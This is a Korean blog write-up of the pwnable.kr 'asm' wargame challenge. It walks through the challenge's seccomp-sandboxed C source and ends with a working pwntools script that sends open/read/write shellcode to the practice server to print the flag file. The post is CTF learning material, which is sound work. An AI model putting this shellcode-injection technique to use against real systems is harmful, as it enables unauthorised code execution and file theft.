[pwnable.kr] asm(6 pts) :: Write-Up

두비니

·

2020. 7. 22. 19:41

 

 

 

 

Mommy! I think I know how to make shellcodes

 

ssh asm@pwnable.kr -p2222 (pw: guest)

 

 

 

쉘코드 만들기..?

일단 들어가봅시다.

 

 

 

플래그 파일이 심상치않네요. 우선 c코드부터 봅시다.

 

 

asm@pwnable:~$ cat asm.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
	scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
	if (ctx == NULL) {
		printf("seccomp error\n");
		exit(0);
	}

	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

	if (seccomp_load(ctx) < 0){
		seccomp_release(ctx);
		printf("seccomp error\n");
		exit(0);
	}
	seccomp_release(ctx);
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

	setvbuf(stdout, 0, _IONBF, 0);
	setvbuf(stdin, 0, _IOLBF, 0);

	printf("Welcome to shellcoding practice challenge.\n");
	printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
	printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
	printf("If this does not challenge you. you should play 'asg' challenge :)\n");

	char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
	memset(sh, 0x90, 0x1000);
	memcpy(sh, stub, strlen(stub));
	
	int offset = sizeof(stub);
	printf("give me your x64 shellcode: ");
	read(0, sh+offset, 1000);

	alarm(10);
	chroot("/home/asm_pwn");	// you are in chroot jail. so you can't use symlink in /tmp
	sandbox();
	((void (*)(void))sh)();
	return 0;
}

 

코드를 좀 분석해보자. 처음보는 함수들이 너무 많다....

 

일단 main함수에서 가장 먼저 mmap을 통해 0x41414000에 매핑을 한다.

0x41414000의 매핑된 값은 sh에 저장이 될 것이다.

mmap에 대하여: https://mintnlatte.tistory.com/357

 

메모리 맵핑(mapping) - mmap() / munmap()

■ 표준 입출력 대안으로, 커널은 응용이 파일을 메모리에 맵핑하는 인터페이스를 제공한다. 이는 메모리 주소와 파일 워드 사이에 1 대 1 대응을 의미한다. (1) 프로세스와 메모리관리 : 메모리��

mintnlatte.tistory.com

 

    printf("give me your x64 shellcode: ");
    read(0, sh+offset, 1000);
 
    alarm(10);
    chroot("/home/asm_pwn");    // you are in chroot jail. so you can't use symlink in /tmp

그 뒤로는 쉘코드를 입력받은 뒤, chroot("/home/asm_pwn")으로 갇히게 된다. 지정된 디렉토리에서만 파일을 열 수 있게해서 jail이라고 한다카더라.

 

그 후 sandbox를 call한다.

void sandbox(){
	scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
	if (ctx == NULL) {
		printf("seccomp error\n");
		exit(0);
	}

	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

	if (seccomp_load(ctx) < 0){
		seccomp_release(ctx);
		printf("seccomp error\n");
		exit(0);
	}
	seccomp_release(ctx);
}

 

seccomp이란 secure computing mode 약자입니다. 리눅스 커널에서 애플리케이션 sandboxing 매커니즘을 제공하는 컴퓨터 보안 기능입니다.  system call 통해 기능을 활성화 시키면, 이를 호출한 프로세스에 있는 모든 fd들에 대해서 read, write, exit, sigreturn 제외한 모든 system call 호출이 불가능 해집니다. 만약 다른 시스템 호출을 시도한다면, 커널이 SIGKILL 프로세스를 종료시킵니다.

 

아무튼 문제로 돌아오면 open()/read()/write()를 통해서만 쉘코드를 작성해야 하네요.

어차피 충분히 열 수 있으니 짜면 될 것 같습니다.

 

예전에 shellcraft에 대해서 친구가 알려준게 생각나 좀 찾아보았습니다.

관련문서는: http://docs.pwntools.com/en/stable/shellcraft/amd64.html

 

pwnlib.shellcraft.amd64 — Shellcode for AMD64 — pwntools 4.2.1 documentation

Parameters: key (int,str) – XOR key either as a 8-byte integer, If a string, length must be a power of two, and not longer than 8 bytes. Alternately, may be a register. address (int) – Address of the data (e.g. 0xdead0000, ‘esp’) count (int) – Nu

docs.pwntools.com

 

 

작년에 직접 어셈코딩해서 쉘코드를 만들었던 기억이 있는데, 이렇게 쉬운 방법이 있었네요.

다음은 익스 코드입니다.

따로 리버싱공부를 안하니까 이런데서 정말 죽을맛이네요... open()/read()/write()함수가 어떻게 작동하는지 모두 분석했습니다.

 

from pwn import *

context(arch='amd64', os='linux')

p = remote('pwnable.kr', 9026)
print p.recvuntil("challenge :)")
print p.recvuntil("shellcode: ")

filename = "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong"

shellcode = shellcraft.open(filename)
shellcode = shellcode + shellcraft.read('rax', 'rsp', 100)
shellcode = shellcode + shellcraft.write( 1, 'rsp', 100)
shellcode = shellcode + shellcraft.exit()

p.sendline(asm(shellcode))
print p.recv()
p.interactive()

 

 

정말 한참을 헤맸습니다.... 이 짧은거짜는데 한 5시간걸린듯..

 

진짜 앞쪽 문제들과 난이도차이가 심하네요 나만그런가.... 갑자기 확어려워지는듯